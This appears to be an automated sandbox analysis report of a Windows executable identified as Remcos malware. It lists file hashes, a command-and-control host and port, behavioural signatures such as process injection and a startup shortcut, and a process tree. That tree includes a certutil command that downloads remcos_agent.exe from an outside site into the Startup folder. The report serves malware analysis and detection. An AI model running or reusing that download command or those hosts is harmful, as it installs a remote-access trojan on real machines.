Analysis
- max time kernel
150s - max time network
149s - platform
windows10_x64 - resource
win10v20201028 - submitted
12/11/2020, 14:08
Static task
static1
Behavioral task
behavioral1
Sample
51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
- Size 960KB
- Sample201112-hb5kh49eys
- SHA256 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11
- MD5 f66db43a97a69279f2e3bec3452ad56e
- SHA1 c6875b26c29efda68fd2c180abe1efb477f43b5e
- SHA512 2d7a90249a0746358b8f9c711918e15a257dc07c655c0d5b30427e44e3a9afcdd9859ff62d7a15a31b22f1e64b7262747f1d47a62048f31de577ad0fc013874b
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 648 set thread context of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 204 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 204 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 648 wrote to memory of 2708 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 75 PID 648 wrote to memory of 2708 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 75 PID 648 wrote to memory of 2708 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 75 PID 2708 wrote to memory of 3124 2708 cmd.exe 78 PID 2708 wrote to memory of 3124 2708 cmd.exe 78 PID 2708 wrote to memory of 3124 2708 cmd.exe 78 PID 648 wrote to memory of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79 PID 648 wrote to memory of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79 PID 648 wrote to memory of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79 PID 648 wrote to memory of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79 PID 648 wrote to memory of 204 648 51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe 79
Processes
-
C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:3124
-
-
-
C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:204
-